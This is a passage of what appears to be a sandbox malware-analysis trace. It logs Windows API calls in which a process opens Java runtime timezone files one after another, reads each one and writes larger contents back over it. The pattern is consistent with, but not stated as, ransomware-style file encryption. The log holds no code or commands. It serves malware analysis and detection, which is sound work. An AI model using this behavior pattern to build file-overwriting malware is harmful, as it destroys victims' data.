ReleaseMutex (hMutex=0x128) returned 1 [0055.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Helsinki", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0055.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Helsinki", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Helsinki", lpUsedDefaultChar=0x0) returned 8 [0055.157] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0x40c, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x32cf2bc*=0x40c, lpOverlapped=0x0) returned 1 [0055.159] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.159] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x994, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x32cf2d0*=0x994, lpOverlapped=0x0) returned 1 [0055.159] CloseHandle (hObject=0x12c) returned 1 [0055.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Monaco" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\monaco"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.160] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.160] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x628 [0055.160] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.160] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.160] ReleaseMutex (hMutex=0x128) returned 1 [0055.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Monaco", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0055.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Monaco", cchWideChar=6, lpMultiByteStr=0x1e6a78c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Monaco", lpUsedDefaultChar=0x0) returned 6 [0055.160] ReadFile (in: hFile=0x12c, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x628, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x32cf2bc*=0x628, lpOverlapped=0x0) returned 1 [0055.165] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.165] WriteFile (in: hFile=0x12c, lpBuffer=0x3a4ee28*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesWritten=0x32cf2d0*=0xbb0, lpOverlapped=0x0) returned 1 [0055.166] CloseHandle (hObject=0x12c) returned 1 [0055.166] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Stockholm" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\stockholm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.166] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.166] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x410 [0055.166] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.166] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.166] ReleaseMutex (hMutex=0x128) returned 1 [0055.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stockholm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0055.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stockholm", cchWideChar=9, lpMultiByteStr=0x1e633ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Stockholm", lpUsedDefaultChar=0x0) returned 9 [0055.166] ReadFile (in: hFile=0x12c, lpBuffer=0x1da7ef8, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da7ef8*, lpNumberOfBytesRead=0x32cf2bc*=0x410, lpOverlapped=0x0) returned 1 [0055.179] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.179] WriteFile (in: hFile=0x12c, lpBuffer=0x2804d18*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2804d18*, lpNumberOfBytesWritten=0x32cf2d0*=0x998, lpOverlapped=0x0) returned 1 [0055.179] CloseHandle (hObject=0x12c) returned 1 [0055.179] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Zurich" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\zurich"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.180] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.180] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x410 [0055.180] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.180] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.180] ReleaseMutex (hMutex=0x128) returned 1 [0055.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Zurich", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0055.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Zurich", cchWideChar=6, lpMultiByteStr=0x1e6a78c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Zurich", lpUsedDefaultChar=0x0) returned 6 [0055.180] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x32cf2bc*=0x410, lpOverlapped=0x0) returned 1 [0055.183] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.183] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x32cf2d0*=0x998, lpOverlapped=0x0) returned 1 [0055.183] CloseHandle (hObject=0x12c) returned 1 [0055.183] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Maldives" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\maldives"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.183] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.183] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x41 [0055.184] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.184] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.184] ReleaseMutex (hMutex=0x128) returned 1 [0055.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Maldives", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0055.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Maldives", cchWideChar=8, lpMultiByteStr=0x1e630ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Maldives", lpUsedDefaultChar=0x0) returned 8 [0055.184] ReadFile (in: hFile=0x12c, lpBuffer=0x1eaad68, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad68*, lpNumberOfBytesRead=0x32cf2bc*=0x41, lpOverlapped=0x0) returned 1 [0055.185] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.185] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0055.185] CloseHandle (hObject=0x12c) returned 1 [0055.185] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Chuuk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\chuuk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.185] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.186] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x41 [0055.186] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.186] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.186] ReleaseMutex (hMutex=0x128) returned 1 [0055.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Chuuk", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0055.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Chuuk", cchWideChar=5, lpMultiByteStr=0x1e6a78c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Chuuk", lpUsedDefaultChar=0x0) returned 5 [0055.186] ReadFile (in: hFile=0x12c, lpBuffer=0x1eaad68, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad68*, lpNumberOfBytesRead=0x32cf2bc*=0x41, lpOverlapped=0x0) returned 1 [0055.187] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.187] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0055.187] CloseHandle (hObject=0x12c) returned 1 [0055.187] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Guam" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\guam"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.188] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.188] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x41 [0055.188] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.188] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.188] ReleaseMutex (hMutex=0x128) returned 1 [0055.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Guam", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0055.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Guam", cchWideChar=4, lpMultiByteStr=0x1e6a78c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Guam", lpUsedDefaultChar=0x0) returned 4 [0055.188] ReadFile (in: hFile=0x12c, lpBuffer=0x1eaad68, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad68*, lpNumberOfBytesRead=0x32cf2bc*=0x41, lpOverlapped=0x0) returned 1 [0055.189] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.189] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0055.189] CloseHandle (hObject=0x12c) returned 1 [0055.189] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Niue" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\niue"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.190] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.190] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x59 [0055.190] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.190] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.190] ReleaseMutex (hMutex=0x128) returned 1 [0055.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Niue", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0055.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Niue", cchWideChar=4, lpMultiByteStr=0x1e6a78c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Niue", lpUsedDefaultChar=0x0) returned 4 [0055.190] ReadFile (in: hFile=0x12c, lpBuffer=0x1ea3700, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3700*, lpNumberOfBytesRead=0x32cf2bc*=0x59, lpOverlapped=0x0) returned 1 [0055.191] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.191] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e1, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x5e1, lpOverlapped=0x0) returned 1 [0055.191] CloseHandle (hObject=0x12c) returned 1 [0055.191] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Tahiti" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\tahiti"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.192] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.192] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x41 [0055.192] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.192] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.192] ReleaseMutex (hMutex=0x128) returned 1 [0055.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tahiti", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0055.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tahiti", cchWideChar=6, lpMultiByteStr=0x1e6a78c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tahiti", lpUsedDefaultChar=0x0) returned 6 [0055.192] ReadFile (in: hFile=0x12c, lpBuffer=0x1eaad68, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad68*, lpNumberOfBytesRead=0x32cf2bc*=0x41, lpOverlapped=0x0) returned 1 [0055.193] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.193] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0055.193] CloseHandle (hObject=0x12c) returned 1 [0055.193] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\EST5" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\est5"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.194] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.194] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1b [0055.194] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.194] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.194] ReleaseMutex (hMutex=0x128) returned 1 [0055.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EST5", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0055.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EST5", cchWideChar=4, lpMultiByteStr=0x1e6a78c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EST5", lpUsedDefaultChar=0x0) returned 4 [0055.194] ReadFile (in: hFile=0x12c, lpBuffer=0x1e786c8, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e786c8*, lpNumberOfBytesRead=0x32cf2bc*=0x1b, lpOverlapped=0x0) returned 1 [0055.195] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.195] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0055.195] CloseHandle (hObject=0x12c) returned 1 [0055.195] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\ZoneInfoMappings" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\zoneinfomappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.197] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.197] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3990 [0055.197] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.197] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.197] ReleaseMutex (hMutex=0x128) returned 1 [0055.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZoneInfoMappings", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0055.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZoneInfoMappings", cchWideChar=16, lpMultiByteStr=0x1e786cc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZoneInfoMappings", lpUsedDefaultChar=0x0) returned 16 [0055.197] ReadFile (in: hFile=0x12c, lpBuffer=0x3a4ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0057.031] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2990 [0057.031] ReadFile (in: hFile=0x12c, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0057.034] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2990 [0057.039] WriteFile (in: hFile=0x12c, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.051] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0057.051] WriteFile (in: hFile=0x12c, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.051] CloseHandle 